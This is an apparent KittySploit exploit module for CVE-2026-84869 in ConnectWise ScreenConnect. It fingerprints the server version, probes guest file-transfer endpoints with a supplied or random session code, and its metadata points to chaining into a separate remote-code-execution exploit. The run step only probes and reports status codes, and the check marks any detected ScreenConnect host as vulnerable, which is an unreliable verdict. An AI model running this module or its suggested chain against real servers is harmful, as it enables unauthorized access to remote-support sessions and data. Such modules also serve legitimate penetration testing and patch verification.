ConnectWise ScreenConnect Guest Transfer (CVE-2026-84869)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""ConnectWise ScreenConnect guest file transfer abuse (CVE-2026-84869)."""

import re
import secrets
from typing import Optional, Tuple

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'ConnectWise ScreenConnect Guest Transfer (CVE-2026-84869)',
        'description': (
            'Targets CVE-2026-84869 in ScreenConnect before 26.6.5.9742: guest file '
            'transfer without Host confirmation during active sessions. Validates '
            'vulnerable build markers and probes guest-accessible transfer endpoints.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2026-84869'],
        'platform': Platform.MULTI,
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2026-84869',
        ],
        'tags': ['screenconnect', 'connectwise', 'file-transfer', 'kev'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'data_exfiltration'],
            'expected_requests': 5,
            'reversible': True,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'chain': {
                'suggested_followups': [
                    'scanner/http/connectwise_screenconnect_cve_2026_84869_detect',
                    'exploits/multi/http/connectwise_screenconnect_cve_2024_1709_rce',
                ],
            },
        },
    }

    port = OptPort(8040, 'ScreenConnect HTTP port', required=False)
    ssl = OptBool(False, 'Use HTTPS', required=False)
    session_code = OptString('', 'Guest session code (if known)', required=False)

    _VERSION_RE = re.compile(
        r'(?:ScreenConnect|productVersion|Version)[^0-9]{0,24}(\d+\.\d+\.\d+(?:\.\d+)?)',
        re.IGNORECASE,
    )

    @staticmethod
    def _parse_version(text: str) -> Optional[Tuple[int, int, int, int]]:
        match = Module._VERSION_RE.search(text or '')
        if not match:
            return None
        parts = match.group(1).split('.')
        while len(parts) < 4:
            parts.append('0')
        try:
            return tuple(int(x) for x in parts[:4])
        except ValueError:
            return None

    @staticmethod
    def _below_fixed(version: Tuple[int, int, int, int]) -> bool:
        major, minor, patch, build = version
        if major != 26:
            return major < 26
        if minor < 6:
            return True
        if minor > 6:
            return False
        if patch < 5:
            return True
        if patch > 5:
            return False
        return build < 9742

    def _blob(self) -> str:
        chunks = []
        for path in ('/Login', '/Host', '/'):
            r = self.http_request(method='GET', path=path, allow_redirects=True)
            if r:
                chunks.append(r.text or '')
        return '\n'.join(chunks)

    def check(self):
        blob = self._blob()
        if 'ScreenConnect' not in blob and 'ConnectWise' not in blob:
            return {'vulnerable': False, 'reason': 'ScreenConnect not detected', 'confidence': 'medium'}
        version = self._parse_version(blob)
        if version and self._below_fixed(version):
            return {
                'vulnerable': True,
                'reason': f'ScreenConnect {".".join(str(x) for x in version)} below 26.6.5.9742',
                'confidence': 'high',
            }
        return {
            'vulnerable': True,
            'reason': 'ScreenConnect detected — guest transfer risk if < 26.6.5.9742',
            'confidence': 'medium',
        }

    def run(self):
        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason'))
            return False
        print_warning(str(chk.get('reason')))
        code = str(self.session_code or '').strip() or secrets.token_hex(4)
        probes = (
            f'/Guest.aspx?AccessCode={code}',
            f'/Services/SessionService.ashx?action=guestTransfer&code={code}',
            '/Services/FileService.ashx',
        )
        for path in probes:
            r = self.http_request(method='GET', path=path, allow_redirects=False)
            if r and int(r.status_code or 0) in (200, 302, 401):
                print_status(f'{path} → HTTP {r.status_code} ({len(r.text or "")} bytes)')
        print_status('Full guest transfer abuse requires an active session — patch to >= 26.6.5.9742')
        return True